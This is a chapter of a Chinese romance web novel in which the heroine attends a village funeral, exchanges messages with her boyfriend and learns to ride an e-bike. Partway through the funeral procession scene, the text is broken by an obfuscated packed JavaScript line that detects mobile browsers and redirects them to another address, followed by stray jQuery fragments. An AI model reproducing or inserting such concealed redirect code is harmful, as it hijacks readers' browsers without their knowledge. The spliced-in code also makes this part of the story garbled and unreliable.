试行顾山意版作息，审视这一天时，时间如同大海里的水，突然充盈起来，仿佛一天变成了二十八小时。


    吃完早饭，沈栀言没立刻出门，坐在院子里晒太阳，打开购物软件，给自己的民宿小房间添了些物件。抱枕、摆件、香薰......其中一只设计别致的狗头抱枕是陆时安同款，人真奇怪，前几天还在女人当自强，现在买了同款抱枕还要腻腻歪歪告诉人家。


    【我买了和你一样的抱枕】


    从前时间是“安排”出来的，大部分时间用来工作，“业余”时间休息、娱乐、发展爱好。其实对于一个生命来说，哪有什么“业余”呢。


    【有眼光】


    【我们都把这只狗头摆到床上，给它枕另一个枕头，怎么样？】


    【等你回来，看看还喜欢什么，都给你凑一对儿】


    【全都批准】


    沈栀言忍不住盯着“一对儿”这几个字看，温软微笑浮现唇角，阵阵乐声萦绕耳畔。


    乐声？


    侧耳倾听，的确有音乐，位置就在村里，类似合成器的音色。


    【陆总大方呀】


    音乐绕了好久，沈栀言被勾起好奇，忍不住出门东张西望，这一望，望来一位奶奶。


    “小姑娘，”奶奶主动开口，举起手机，“你会用这个手机不？”


    “咋啦？”


    “我孙女儿给我视频，我在园子里干活儿，听着有动静，等我接的时候没了，”奶奶有点儿着急，“小姑娘你能不能给我孙女儿打一个？”


    沈栀言接过手机，指着最上面的小熊□□头像，“这是您孙女儿吗？”


    “对，对。”


    “行，我帮您拨回去，”沈栀言点开头像，拨打视频，随口问，“奶奶您知道这放音乐是干什么呀？”


    奶奶手指了一个方向，说话利索，“西边尹家老太太走了。”


    “走了？”沈栀言下意识疑问。


    “都九十啦，”视频接通，奶奶立刻露出笑容，对着手机屏幕打招呼，“宝贝。”


    奶奶对沈栀言道谢，然后一边举着手机视频一边离开，走出好远还能听到她的讲话声。


    背影越来越小，她想到了自己的奶奶。


    也是这样笑，也喜欢叫她宝贝。


    沈栀言返回小院，音乐还在萦绕，但知道这音乐因何而起后，心情就像吹不动的旗子，皱巴巴耷拉下来。


    她给陆时安发消息：


    【今天这里有一位奶奶去世了】


    担心也会影响他的情绪，又补充了关键信息：


    【九十多岁】


    民宿小院在村头主路，门口经过的车突然如雨后春笋，络绎不绝，几乎每隔几分钟就有一辆小轿车经过。


    老人的离世召集回散落各地的亲朋好友，这些人在自己尚未察觉之时见了老人最后一面。


    或许是几天前、几个月前、几年前。


    顾山意起床了，向她问好，“早～今天有事吗？”


    “没什么事，下午出去拍拍视频。”


    今天的拍摄计划是村里的小动物，据她观察，村里的有好几只胖嘟嘟的散养狗，漂亮的流浪猫。她还想拍生活村里的小鸟们，但这需要抓拍，得慢慢来。


    “不着急，”顾山意穿了一身深色，黑色长裤，搭配深棕色长袖上衣，“下午看表演去不去？”


    “表演？”


    “村里有人去世，一般都会请表演，我之前看过一次，挺有民俗特色的，一起去看看？不喜欢随时回来。”


    *


    虽说是去世，可表演堪称喜庆。


    乐队现场奏乐，咚咚鼓点让她想到和陆时安一起去听的摇滚演唱会。


    女生身穿春草色戏袍，男生则是白色，一唱一和，完成了几曲民间小调。


    沈栀言能够听懂唱词，忽而发觉这些小调很像《诗经》的十五国风。


    窈窕淑女，君子好逑。


    投我以木瓜，报之以琼琚。


    左手锣，右手鼓。


    太阳出来啰喂，喜洋洋啰啷啰。


    唱的都是家长里短，温厚踏实。


    直到亲友告别环节，音乐才舒缓下来，有时是唢呐的单独乐句，间或响起的锣声好似引领。


    亲友们皆披戴白色，瞬间告别氛围十足，伤感如同日暮炊烟悠悠升起。


    哪怕活到九十多岁，她还能再见自己奶奶多久呢？爸爸妈妈不知不觉也将要成为老年人。


    想着想着，她再次窥见自己的怨，她希望自己能够被培养得性格自信大方，而不是失手打碎杯子也战战兢兢，时刻风声鹤唳，她还希望父母能更富裕，把她托举得再高一点。


    这些“不该有”的怨被她封进一个密不透风的罐子，埋在幽暗角落，每次只敢揭开一丝丝缝隙，现在，铜锣声声也在引领她，一点一点，将罐子完全打开，幽暗大白于阳光下。


    于是她看到了爱。


    无论如何，她爱她的父母，不容置疑，她也心疼她的父母，他们有自己坎坷的来路。


    晚上要给他们打个视频。


    还有陆时安，他发了语音：


    “别想太多，其实有时候我觉得人去世埋葬的过程，就像把一颗种子埋进土里。”


    “等你回来，我陪你一起去看看奶奶？”


    告别仪式结束，乐队鼓点再次沉稳奏响，唢呐暂停，歌手登台，唱响一首流行音乐。


    沈栀言偏头靠近顾山意，“这乐队好厉害，唱得很好听哦。”


    顾山意点头，“这种民间乐队其实很有特色。”


    她的音色温厚，陆时安则是明朗。


    等你回来。


    自从她到村里，他说了好多次，如同阳光散落的光束，将“等”这个字照耀得迷人起来。


    一向年光有限身，不如怜取眼前人。


    *


    没有拍到小动物，但是获得了很特别的素材，演出告一段落，顾山意需要去镇里见投资伙伴，沈栀言回到民宿院子里整理素材。


    不知何时，她变得很容易投入工作，做方案、计划，整理素材、创意，时间流逝变得模糊，意识再次回到世界，是因为音乐声忽然响亮，而且好像越来越近。


    时间已是黄昏。


    沈栀言走出小院儿，声音还在靠近，不过一会儿，一支队伍浩浩荡荡出现在路的尽头。


    原来是这边的风俗，黄昏时，逝者全部亲友们在乐队的带领下，带着纸扎车马、红绿小人，在村里穿行，绕中心湖一周，然后去到埋葬地，有引领逝者的意思。


    这样一来，喇叭、乐队、游行，一人去世，全村知晓。


    “老太太挺好了，九十多岁，吃完饭还能在门口溜达呢，除了临走之前这阵胃不太好，也没遭什么罪，”上午和孙女视频的老奶奶也出门看游行，“儿女也都挺孝顺。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383154|192678||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    沈栀言笑着点头，“奶奶您多大啦？”


    奶奶也笑，和看她孙女的神态很像，“我七十一啦，身体挺好。”


    沈栀言老家的村子也有类似习俗，去世不再是一件讳莫如深的事，被大大方方、十分高调地搬上台面，似乎有了更广阔的空间，也就稀释了悲伤。


    小时候她也曾很开心地和家人、小伙伴去看节目，完全不知生死之悲为何物。


    她点开聊天框，给陆时安发消息：


    【等我回去，我们一起把王大爷给的菜种栽起来吧？】


    *


    时间充裕起来后，睡觉变得自然而然，起床也随之顺利。今天顾山意打算教他骑电动车，约好吃完早饭就行动。


    顾山意先载她去到广场，平坦、开阔、无人，附近一家人门口有几位老大爷聚在一起聊天。


    “很简单的，”顾山意从电动车上下来，“来，你试试。”


    沈栀言坐上车座，很意外，电动车看着大，但坐上去很简单，双腿也足够接触到地面，这让她放心不少。电动车开起来车速比自行车快很多，就怕摔倒。


    “你看，这两个是车闸——”顾山意一一说明电动车操作方法，“给油门的时候慢一点，感觉不对就刹车，脚撑住地面，不会有事的。”


    “嗯，我试试。”沈栀言一边觉得自己行，一边又没底，几乎是一毫米一毫米地拧动油门。


    自觉已经拧了五毫米，不动。


    顾山意笑，“别紧张。”说完上手帮她拧了下，电动车立刻启动，向前冲了一小截。


    没倒，没摔。


    沈栀言绽开惊喜，右手紧紧把持着油门，左手搭在刹车闸上，把控不稳，时快时慢，但始终维持着平衡。


    绕圈时，她一遍遍经过聊天大爷的视野中央，村里喜欢聊家长里短，她觉得自己一定在被讨论。


    “这个姑娘面生啊。”


    “这是谁家姑娘啊。”


    “看着挺年轻，怎么没上班呢？”


    一边想着，一边绕了很多圈，顾山意站在她画出的圆心，“厉害，就是这样，放轻松。”


    春风得意马蹄疾。


    又画了几圈，沈栀言的喜乐溢于言表，原来这么简单！


    下车后，她迫不及待发给陆时安：


    【我学会骑电动车了！】


    发完她又忍不住笑：她等他来，他等她回。


    陆时安这会儿不忙，又拨来视频，沈栀言接通：“长话短说哦，我待会儿有事。”


    陆时安咽回了寒暄和玩笑，转而问道：“什么事？”


    “秘密，过几天你会知道的。”


    “好，”陆时安笑，“学会骑车了？下次可以载我。”


    沈栀言故意刁难，“我载你？你太重了。”


    陆时安忽然靠近镜头，瞳孔微微收缩，猎豹穿透屏幕捉住她，“我多重，你知道的。”


    ......


    沈栀言语塞，搂过抱过，她的确知道。


    得逞。


    陆时安唇角上扬，收住表情，““吱吱，你现在一个月在村里待多久？”


    “不确定，看工作进度和效果吧。”


    “嗯，”陆时安顿了一下，“你租的房子，经常空着吧？”


    沈栀言一愣，忽然意识到他想说什么。


    没等她开口，陆时安继续：“如果工作稳定，要不要考虑以后搬我这边来住？”